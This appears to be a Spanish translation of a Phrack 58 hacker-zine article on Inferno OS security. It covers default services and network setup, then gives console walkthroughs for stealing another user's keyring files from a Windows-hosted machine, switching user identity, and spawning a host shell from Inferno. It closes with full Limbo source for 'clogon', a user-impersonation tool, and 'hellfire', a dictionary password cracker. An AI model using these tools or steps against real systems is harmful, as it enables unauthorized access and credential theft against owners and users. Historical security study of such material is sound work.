RareGaZz nº19:(phrack58-0x0c.txt):27/03/2002 << Back To RareGaZz nº 19
==Phrack Inc.== Volumen 0x0b, Numero 0x3a, Archivo #0x0c de 0x0e |=------------------=[ La Seguridad del SO Inferno ]=--------------------=| |=-----------------------------------------------------------------------=| |=--------------------=[ dalai <dalai@swbt.net> ]=-----------------------=| Este texto va sobre las semanticas de seguridad del SO Inferno de Vita Nuova y algunos significados que pueden ser embaucados. Inferno es un peque~o SO proyectado para correr en dispositivos que pueden tomar ventaja de sus aspectos distribuidos. El ejemplo que a Bell Labs le gusta usar es el TV set-top box. Cualquier cosa que dependa de datos remotos para correr es un candidato a Inferno. Otras cosas potenciales incluyen PDA's puestas en red, y hubs de acceso broadband locales (pe para cablemodem, o ION). Este texto es acerca de seguridad y no es una introduccion a Inferno. Los Documentos de Inferno y paginas man han sido puestas en disponibilidad para consumo y estan ubicadas en el sitio de Vita Nuova, http://www.vitanuova.com. Tambien, nota el cambio con mi direccion de email. Insomnia.org sufrio DoS's por lo que echaron a sus usuarios. Figurate. Lucent ha mencionado su proyeccion de utilizar Inferno en alguno de sus productos proximos a salir. Firewalls y routers estan ya siendo construidos con Inferno, y el uso potencial en el futuro incluye equipamiento de telecomunicacion, y terminales Internet dedicadas(baratas). Algunas compa~ias de afuera estan tambien tomando interes en Inferno, pero nadie puede predecir cuanto sera usado en el futuro, o cuan exitoso sera. Hay varias razones por las que disfrutarias jugando con Inferno. Si gana la saturacion de mercado que Vita Nuova espera, tendras una vasta red de dispositivos con los que jugar. La industria espera 'e-nable'(tm) (activar) casi todo lo que corre fuera de poder. Vehiculos, largos dispositivos domesticos, probablemente incluso las tostadoras requeriran pronto algun tipo de SO fijo para manejar su hardware superfluo. Inferno es una de las respuestas, y probablemente la mas robusta. El 90% de todo mencionando Inferno y seguridad en el mismo contexto habla acerca de la encriptacion y autenticacion de mensajes de red. Esto esta todo bien y elegante, pero hay mucho mas para ser considerado, especialmente en un SO trabajado para Internet. Inferno es acerca de entorno de red. Hay un punto peque~o en un host solo. Y de esta manera el entorno de red Inferno es fundamental. Aqui hay una peque~a informacion para tener a tus hosts activos y hablando, preferiblemente a otra maquina basada en Inferno. Los servicios a ser corridos por Inferno sobre ejecucion del server binario, 'lib/srv', estan contenidos en /services/server/config. Por defecto el archivo contiene estos servicios: styx 6666/tcp # Servicio de archivo principal mpeg 6667/tcp # Mpeg stream rstyx 6668/tcp # Invocacion remota infdb 6669/tcp # Conexion con base de datos infweb 6670/tcp # servidor web inferno infsigner 6671/tcp # servicios firma de inferno infcsigner 6672/tcp # servicios firma de inferno inflogin 6673/tcp # servicio de login de inferno virgil 2202/udp virgild # info de inferno El archivo /services/cs/services funciona como el /etc/services de Unix, y puede ser usado para referenciar los nombres de servicio de arriba con numeros de puerto. 'netstat' hace para Inferno algo similar a lo que hace para Unix. Si corre bajo un Unix, copia los contenidos de /services/cs/services a tu archivo /etc/services. Para que Inferno pueda hablar exitosamente a otros hosts debes empezar el servidor de conexion, 'lib/cs'. Este demonio traduce nombres de red (en la forma de protocolo!host!puerto) dentro de una presencia de espacio de nombre de red. Puedes especificar que los servicios 'lib/srv' estan para correr editando el archivo /services/server/config. Puedes tener dos hosts activados y hablando con estos pasos, asumiendo que los SO hosting estan conectados y pueden comunicarse. Traduccion de nombre de host, seleccion de interface IP, y etc. es decidido sobre el SO hosting. 1. DNS: 'echo ip.del.dns.server > /services/dns/db', reconstruye /services/dns/db. Ya hay un ejemplo ahi. 2. CS: edit /services/cs/db, despues 'lib/cs' 3. SRV: edit /services/server/config, despues 'lib/srv' (Corre en server) 4. LOGINS: Corre 'changelogin <user>' en el server, esto debe ser hecho para cada usuario que estara logueandose. 5. KEYS: Corre 'getauthinfo default' en los hosts para crear los certificados inicial. Haz esto para el servidor y el cliente. Haz 'getauthinfo <server>' en el cliente. Nota que esto es para el certificado por defecto. Para tener uno para usar con una ip particular, haz 'getauthinfo tcp!hostname'. 6. DONE: Puedes entonces usar los servicios de red de Inferno, por ejemplo puedes montar una computadora remota bajo tu namespace: 'mount tcp!host /n/remote' to verify: 'lc /n/remote/' or: 'netstat' Y es asi de facil amigos. Puedes querer que tus 'lib/cs', 'lib/srv', y comandos mount sean hechos automaticamente cuando se bootea. El 'mount' es solo un ejemplo, hay un numero infinito de cosas que puedes hacer con tus dos hosts. Puedes incluso optar por movilizar tu lego[1]. Lee las paginas man. ***** Debido al dise~o de Inferno, y la forma en que se supone que debe ser aplicado, la seguridad puede ser facilmente embaucada, produciendo acceso inautorizado en maquinas remotas, y acceso a archivos en la maquina actual a los que no deberias estar habilitado para tocar. Debo decir algo sobre Inferno hosteado antes de que me olvide. Ya que dependera de los mecanismos IP del SO hosting, los sockets creados por Inferno se comportaran bajo presion como uno creado por el host. Mientras un scan tcp connect() ensuciara la consola de Inferno con mensajes, si el SO host es Win32 y alguien invoca 'nmap -sF' contra el entonces los servicios de Inferno seran invisibles junto con Windows'. Del mismo modo, todo el logging normal del sistema sigue aplicandose a los puertos que Inferno esta usando. Entiendes? El SO usa un modelo de maquina virtual para correr sus ejecutables, que estan codeados tipicamente en el lenguaje especifico de Inferno, Limbo. El Dis de la maquina virtual esta asegurado por la virtud de chequeo de tipo. Los permisos bajo Inferno son como los de Unix. 'ls -l' te mostrara lo que quiero decir. A diferencia de Unix, los recursos namespace creados por una aplicacion privada no son por defecto puestos en disponibilidad para cualquiera excepto el children de ese proceso. De esta manera vemos que The Labs ha puesto algun esfuerzo en asegurar Inferno. La criptografia esta integrada dentro del SO. Los mensajes intercambiados entre dos hosts Inferno pueden ser encriptados, o autenticados y texto plano. Sus algoritmos criptograficos incorporados son, de acuerdo al manual: - SHA/MD5 hash - Elgamal llave publica para sistemas de firma - RC4 - DES - Diffie-Hellman para intercambio de llaves La autenticacion depende de los aspectos de la llave publica de lo de arriba. No es eso super? Aquel quien cree que la criptografia es lo maximo de las caracteristicas de seguridad esta triste efectivamente. Llamame lamer o lo que sea, es solo que no estoy interesado en criptografia. Aqui compartire contigo mis tecnicas para aumentar tu disfrute con Inferno. Chequealo, sin humo o espejos. Sin strings. Si tienes acceso a la consola tienes al Inferno, por lo que todas mis cosas pueden ser hechas via login remoto, puedes hacer las cosas de Windows localmente y remotamente en el caso del 95/98. Las boxes de prueba siguen los permisos sugeridos de instalacion. 1) Windows Si el Inferno esta hosteado en Windows 95/98, ni tratara de proteger archivos de llaves. Aun si lo hiciese, podriamos simplemente agarrar lo que queremos de Windows, con la ruta por defecto al namespace de Inferno siendo C:\USERS\INFERNO. Observa. stacey; cat /dev/user inferno stacey; mount tcp!jessica /n/remote stacey; cd /n/remote/usr/dalai/keyring stacey; lc default stacey; cp default /usr/inferno stacey; Y entonces podemos loguearnos como dalai desde una tercera box, o loguear dentro del server de la maquina Windows. No es un gran negocio como parece, considerando como se supone que Inferno debe correr. Podemos tambien usar esto para obtener el archivo password, /keybd/password. 2) clogon Mi puerto de linea de comandos de la utilidad GUI de login provisto por Inferno en la distribucion, esta adjunto. Lo llamo clogon. Ahora no puedes decir que nunca hice nada por ti. Esto basicamente hace lo mismo que wm/logon, pero es hecho desde el modo texto de la consola. Inferno te permitira switchear tu nombre de usuario una vez por sesion. stacey; cat /dev/user inferno stacey; ./clogon -u dalai stacey; cat /dev/user dalai stacey; 3) hellfire Hellfire es mi password cracker de Inferno. El archivo password esta ubicado bajo keybd/password, y contiene la lista de usuarios que estaran siendo logueados remotamente en la maquina. El codigo de Hellfire puede ser encontrado aqui, o en la pagina de Trauma Inc. jessica; hellfire -d dict -u luser hellfire, by dalai(dalai@swbt.net) A Traumatized Production. Cracking... Password is "victim" Have a nice day. jessica; No necesitas ese password para la maquina local, sin embargo puedes usarlo en conjunto con las llaves de luser para obtener acceso a una maquina remota. Y funcionara en el mismo modo con servicios distribuidos mas mundanos. El dia en que las compa~ias de utilidades dependan de Inferno es el dia en que meto mi computadora al lavarropas y al secador. ****** Inferno puede correr solo, o hosteado en otro SO(Plan9, Win32, varios Unix's). Cuando esta hosteado, hay muchas oportunidades no solo de hackear Inferno desde el host, sino tambien el host desde Inferno. Por defecto el emulador(emu) de Inferno es arrancado sin prompt de login. Esto esta bien para mi, porque yo uso mi login de SO host para meterme en Inferno. Puedes tener Inferno corriendo un programa especifico via la linea de comandos emu, y de esta manera activar login selectivo. Para principiantes, podemos ejecutar un comando en el SO host como el siguiente: stacey; bind -a '#C' / stacey; os '/bin/sh -i' devcmd: /bin/sh -i pid 12600 sh: no job control in this shell sh-2.03$ Tienes los permisos dados para el usuario y el grupo bajo los que fue instalado Inferno, el usuario sugerido es 'Inferno' y el grupo 'inf'. El manual dice que si alguna persona no cuidadosa arranca Inferno como root, 'os' correra como el nombre de usuario Inferno llamador. Si ese nombre de usuario no existe en el sistema hosteador, entonces 'cmd' correra como user/nobody. Si, estoy pensando lo que tu estas pensando. De acuerdo al manual, SI Inferno es instalado bajo root, Y tu cambias tu nombre de usuario Inferno a otro de otro usuario en el SO host, ENTONCES te conviertes en ese usuario en el host. Pero que si el usuario no tiene una cuenta en el Inferno? Con una modificacion menor clogon te permitira ser cualquier nombre de usuario que elijas, puedes usar cualquier nombre. Nota que en sistemas Windows el argumento 'os' debe ser un binario ejecutable en el path correcto. Las cosas construidas en el interpretdor (comando) regular de Windows no funcionaran. Como en Unix, el comando es corrido bajo el mismo user id que arranco emu. Tambien, puedes hacer visible un dos/windows/iso9660 fs bajo Inferno. ****** Despues de curiosear con Inferno, lo baje y jugue con el por un tiempo. Me interese lo suficiente como para escribir este texto, y estoy dentro de todo satisfecho con el sistema. Quien sabe, quiza pueda usarlo en algunos proyectos por venir. Si te gusta la sintaxis y te sientes comodo con Inferno pero quieres un SO mas tipo de produccion, lee Plan9. Notas: [1] - Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html ------------------------------ clogon.b ------------------------------------ # clogon # puerto de wm/logon a la linea de comandos # # dalai(dalai@swbt.net) # http://www.swbt.net/~dalai implement clogon; include "sys.m"; sys: Sys; include "draw.m"; include "sh.m"; include "newns.m"; clogon: module { init: fn(nil: ref Draw->Context, argv: list of string); }; init(nil: ref Draw->Context, argv: list of string) { sys = load Sys Sys->PATH; sys->print("clogon, by dalai(dalai@swbt.net)\n"); sys->pctl(sys->FORKNS|sys->FORKFD, nil); progdir := "#p/" + string sys->pctl(0, nil); kfd := sys->open(progdir+"/ctl", sys->OWRITE); if(kfd == nil) { sys->sprint("cannot open %s: %r", progdir+"/ctl"); sys->raise("fail:bad prog dir"); } usr := ""; if(argv != nil) { argv = tl argv; if(argv != nil && hd argv == "-u") { argv = tl argv; if(argv != nil) { usr = hd argv; argv = tl argv; } } } if (usr == nil || !logon(usr)) { sys->print("usage: clogon -u user\n"); } (ok, nil) := sys->stat("namespace"); if(ok >= 0) { ns := load Newns Newns->PATH; if(ns == nil) sys->print("failed to load namespace builder\n"); else if ((nserr := ns->newns(nil, nil)) != nil){ sys->print("error in user namespace file: %s", nserr); sys->print("\n"); } } sys->fprint(kfd, "killgrp"); errch := chan of string; spawn exec(argv, errch); err := <-errch; if (err != nil) { sys->fprint(stderr(), "logon: %s\n", err); sys->raise("fail:exec failed"); } } exec(argv: list of string, errch: chan of string) { sys->pctl(sys->NEWFD, 0 :: 1 :: 2 :: nil); e := ref Sys->Exception; if (sys->rescue("fail:*", e) == Sys->EXCEPTION) { sys->rescued(Sys->ONCE, nil); exit; } argv = "/dis/sh/sh.dis" :: "-i" :: "-n" :: nil; cmd := load Command hd argv; if (cmd == nil) { errch <-= sys->sprint("cannot load %s: %r", hd argv); } else { errch <-= nil; cmd->init(nil, argv); } } logon(user: string): int { userdir := "/usr/"+user; if(sys->chdir(userdir) < 0) { sys->print("There is no home directory for that user mounted on this machine\n"); return 0; } # # Set the user id # fd := sys->open("/dev/user", sys->OWRITE); if(fd == nil) { sys->print("failed to open /dev/user: %r\n"); return 0; } b := array of byte user; if(sys->write(fd, b, len b) < 0) { sys->print("failed to write /dev/user with error: %r\n"); return 0; } return 1; } stderr(): ref Sys->FD { return sys->fildes(2); } ------------------------------ clogon.b ------------------------------------ ------------------------------ hellfire.b ---------------------------------- # hellfire.b : /keydb/password decoder # # by: dalai(dalai@swbt.net) # http://www.swbt.net/~dalai implement hellfire; include "sys.m"; sys: Sys; include "draw.m"; draw: Draw; include "bufio.m"; bufio: Bufio; Iobuf: import bufio; include "string.m"; str: String; include "arg.m"; arg: Arg; include "keyring.m"; keyring: Keyring; include "security.m"; pass: Password; hellfire: module { init: fn(ctxt: ref Draw->Context, argv: list of string); usage: fn(); finish: fn(temp: array of byte); }; init(nil: ref Draw->Context, argv: list of string) { sys = load Sys Sys->PATH; draw = load Draw Draw->PATH; bufio = load Bufio Bufio->PATH; str = load String String->PATH; arg = load Arg Arg->PATH; pass = load Password Password->PATH; keyring = load Keyring Keyring->PATH; sys->print("\nhellfire, by dalai(dalai@swbt.net)\n"); sys->print("A Traumatized Production.\n"); if(argv == nil) usage(); dfile := pfile := uid := ""; arg->init(argv); while((tmp := arg->opt()) != 0) case tmp{ 'd' => dfile = arg->arg(); 'u' => uid = arg->arg(); * => usage(); } if(dfile == nil || uid == nil) usage(); dfd := bufio->open(dfile, bufio->OREAD); if(dfd == nil){ sys->print("Could not open %s.\n", dfile); exit; } pw := pass->get(uid); if(pw == nil){ sys->print("Could not get entry for %s.\n", uid); exit; } sys->print("Cracking...\n\n"); pwbuff2 := array[keyring->SHAdlen] of byte; pwbuff := array[keyring->SHAdlen] of byte; # try some common passwords for(n := 1; n < 4; n++){ if(n == 1) pwbuff = array of byte "password"; if(n == 2) pwbuff = array of byte uid; if(n == 3) pwbuff = array of byte ""; keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil); temp1 := string pwbuff2; temp2 := string pw.pw; if(temp2 == temp1){ finish(pwbuff); } } # if not, try the dictionary for(dentry := "" ; ;){ dentry = dfd.gets('\n'); if(dentry == nil) break; if(dentry[len dentry-1] == '\n'){ heh := ""; (heh, nil) = str->splitl(dentry, "\n"); dentry = heh; } pwbuff = array of byte dentry; keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil); temp1 := string pwbuff2; temp2 := string pw.pw; if(temp2 == temp1){ finish(pwbuff); } } sys->print("done.\n"); sys->print("Have a nice day.\n"); exit; } finish(pwbuff: array of byte) { sys->print("Password is \"%s\"\n", string pwbuff); sys->print("Have a nice day.\n"); exit; } usage() { sys->print("usage: hellfire -d dictionary -u user\n"); exit; } ----------------------------- hellfire.b ---------------------------------- |=[ EOF ]=---------------------------------------------------------------=| Traducido por Active Matrix - ActiveMatrix@technologist.com Para RareGaZz - http://raregazz.cjb.net Argentina, 2002 El articulo aqui traducido, mantiene los derechos de autor.